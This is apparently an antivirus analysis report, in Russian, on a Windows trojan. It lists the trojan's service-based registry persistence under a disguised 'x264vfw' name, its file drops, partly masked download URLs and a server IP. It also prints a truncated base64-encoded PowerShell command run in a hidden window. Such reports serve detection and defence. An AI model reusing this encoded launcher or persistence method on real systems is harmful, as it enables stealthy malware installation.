Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\x264vfw] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\x264vfw] 'ImagePath' = '"%WINDIR%\SysWOW64\fontsub\x264vfw.exe"'
- 'x264vfw' "%WINDIR%\SysWOW64\fontsub\x264vfw.exe"
- 'x264vfw' %WINDIR%\SysWOW64\fontsub\x264vfw.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABRADcAZQA2AHQAaQBtAD0AKAAoACcARAAnACsAJwBzADMAdgA0ACcAKQArACcAeQAyACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgB2ADoAdQBTAEUAcgBwAHIAbwBmAEkATABFAFwAQQB3AGIARw...
- %HOMEPATH%\awbg249\ulnjf94\vjjq82ap.exe
- %WINDIR%\syswow64\fontsub\x264vfw.exe
- %HOMEPATH%\awbg249\ulnjf94\vjjq82ap.exe в %WINDIR%\syswow64\fontsub\x264vfw.exe
- '71.##.196.159':80
- http://ch###mikeji.com/wp-includes/mxbiVC/
- http://18.##7.198.135/wp-admin/D/
- http://71.##.196.159/VjMcKc6vgYyhJyF/QA8GXHlJW/iOBUrkVNRAOJU2HB5/MXPcDQyn73mEtqs/
- DNS ASK ch###mikeji.com
- '%HOMEPATH%\awbg249\ulnjf94\vjjq82ap.exe'
- '%WINDIR%\syswow64\fontsub\x264vfw.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABRADcAZQA2AHQAaQBtAD0AKAAoACcARAAnACsAJwBzADMAdgA0ACcAKQArACcAeQAyACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgB2ADoAdQBTAEUAcgBwAHIAbwBmAEkATABFAFwAQQB3AGIARw...' (со скрытым окном)